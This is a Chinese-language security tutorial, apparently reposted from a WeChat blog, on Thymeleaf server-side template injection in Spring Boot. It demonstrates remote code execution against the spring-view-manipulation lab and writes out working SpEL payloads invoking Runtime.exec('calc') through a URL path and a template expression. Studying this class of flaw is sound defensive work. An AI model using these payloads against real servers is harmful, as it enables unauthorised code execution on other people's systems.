Thymeleaf SSTI

admin 2025年5月24日05:11:03评论3 views字数 2242阅读7分28秒阅读模式

0x00 Introduction

本文中所有内容仅限于合法的安全研究、学术探讨及授权测试场景。任何个人或组织在使用本文所述技术时,须严格遵守《中华人民共和国网络安全法》和《中华人民共和国刑法》及相关法律法规,确保所有行为均在法律允许范围内。任何个人或组织因违反上述条款导致的后果,作者及内容贡献者不承担任何责任。

Thymeleaf 是一个用于网页开发的模板引擎,主要用在 Java 语言的项目中,是用来生成动态网页的。根据其语法创建对应的模板后,就能将后端传来的数据动态的展示到前段网页上,实现让网页动态显示不同的信息。

Thymeleaf 官网:https://www.thymeleaf.org/

Thymeleaf 官方文档:https://www.thymeleaf.org/documentation.html

0x01 Usage

下述将从零开始创建 SpringBoot+Thymeleaf 项目,来说明 Thymeleaf 的核心语法及其简单的使用。

Thymeleaf SSTI
Thymeleaf SSTI

点击“创建”并删除其他无用文件后的项目结构如下所示。其中 java 目录是用于存放代码的,目录 resources 是用于存放静态资源(包括:html、css、js、img、模板等)。

Thymeleaf SSTI

默认情况下,使用 Thymeleaf 模板引擎的 SpringBoot 项目会自动扫描 resources/templates 目录下的模板文件(可通过 application.properties 配置文件进行更改)。所以,为了能被识别,首先需要创建 templates 目录。

Thymeleaf SSTI

在开发中 controller(控制器)层是用于接收请求,并交给对应 Service 层处理。将 Service 层的处理结果进行响应。且根据开发的规范,控制器一般都放在 controller 目录下。

Thymeleaf SSTI

启动项目后,访问 8080(默认)端口,即会返回 test.html 页面。

Thymeleaf SSTI

Thymeleaf 中标准表达式语法有如下几个:

表达式名 语法 作用
变量表达式
${···}
从模型或上下文中取得变量的值
选择变量表达式
*{···}
访问当前选定对象的属性
信息表达式
#{···}
从消息资源文件中读取文本
链接表达式
@{···}
生成 URL 链接
片段表达式
~{···}
引用模板片段
预处理表达式
__···__
模板渲染前动态构造表达式

通过 Model(模型) 来定义一个变量 msg,模板通过 [[${msg}]] 来取得变量的值。

Thymeleaf SSTI
Thymeleaf SSTI

0x02 Vulnerability

SSTI(Server Side Template Injection,服务端模板注入),模板引擎组件是用于动态页面的渲染,如果模板引擎的参数是用户可控的,那就可构造恶意的输入实现 RCE。

在 CTF、Bypass WAF、沙箱逃逸、不同版本等情况下,Payload 又有些许的不同,具体原理和不同的利用方法,可以参考 0x03 Reference 一节中给出的链接。

如下使用 spring-view-manipulation 项目来作为 Thymeleaf SSTI 漏洞的演示示例。靶场下载地址:https://github.com/veracode-research/spring-view-manipulation

下载对应项目,通过 idea 打开并删除其他没用文件,目录结构如下所示:

Thymeleaf SSTI

该项目端口在 8090 上,如下则表示成功启动:

Thymeleaf SSTI

1. Return 可控

如果 return 语句的内容可控,那么就可以构造恶意的模板注入语句实现 RCE。

Thymeleaf SSTI

在测试时,如未成功,则可以将 Payload 进行 URL 编码后再次进行利用。注:@RequestParam注解表示获取指定请求参数的值。

Thymeleaf SSTI
Thymeleaf SSTI

将请求方法改为 POST 类型进行测试,同样可以实现 RCE。

Thymeleaf SSTI
Thymeleaf SSTI
Thymeleaf SSTI

2. URL 可控

Thymeleaf SSTI
__${T(java.lang.Runtime).getRuntime().exec("calc")}__::.x
Thymeleaf SSTI

不仅是 GET 请求,其他请求 POST、HEAD、PUT、OPTION、DELETE 等经测试都可以触发 RCE。

Thymeleaf SSTI

3. 模板内容可控

<!DOCTYPE HTML><htmllang="en"xmlns:th="http://www.thymeleaf.org"><divth:fragment="header"><h3>Spring Boot Web Thymeleaf Example</h3></div><divth:fragment="main"><spanth:text="__${msg}__"></span></div></html>
Thymeleaf SSTI
${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}
Thymeleaf SSTI

0x03 Reference

https://xz.aliyun.com/news/9962

https://forum.butian.net/share/1922

https://www.anquanke.com/post/id/254519

https://www.freebuf.com/articles/network/250026.html

https://mp.weixin.qq.com/s/pBt3Q0VF44AD7tTXxCD7Kg

https://github.com/veracode-research/spring-view-manipulation

原文始发于微信公众号(JJ1ng):Thymeleaf SSTI

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月24日05:11:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Thymeleaf SSTIhttps://cn-sec.com/archives/4093298.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息